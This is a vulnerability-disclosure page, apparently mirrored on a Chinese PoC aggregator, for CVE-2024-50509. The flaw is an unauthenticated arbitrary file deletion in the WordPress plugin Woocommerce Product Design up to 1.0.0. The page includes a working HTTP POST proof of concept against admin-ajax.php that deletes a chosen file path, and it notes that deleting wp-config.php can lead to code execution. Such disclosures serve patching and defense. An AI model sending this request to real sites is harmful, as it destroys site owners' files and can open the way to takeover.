POC详情: 56c8496412d78f067c57aceeda889176c2f47855

来源
关联漏洞
标题: WordPress plugin Woocommerce Product Design 路径遍历漏洞 (CVE-2024-50509)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Woocommerce Product Design 1.0.0版本及之前版本存在路径遍历漏洞,该漏洞源于路径名不适当限制为受限目录,导致路径遍历漏洞。
描述
Woocommerce Product Design <= 1.0.0 - Unauthenticated Arbitrary File Deletion
介绍
# CVE-2024-50509
Woocommerce Product Design <= 1.0.0 - Unauthenticated Arbitrary File Deletion

# Description

The Woocommerce Product Design plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 1.0.0. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

## Details

- **Type**: plugin
- **Slug**: woo-product-design
- **Affected Version**: 1.0.0
- **CVSS Score**: 9.8
- **CVSS Rating**: Critical
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-50509
- **Status**: Closed

POC
---

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

action=pc_remove_uploaded_image&file[path]=/var/www/html/readme.html
```
文件快照

[4.0K] /data/pocs/56c8496412d78f067c57aceeda889176c2f47855 └── [ 934] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。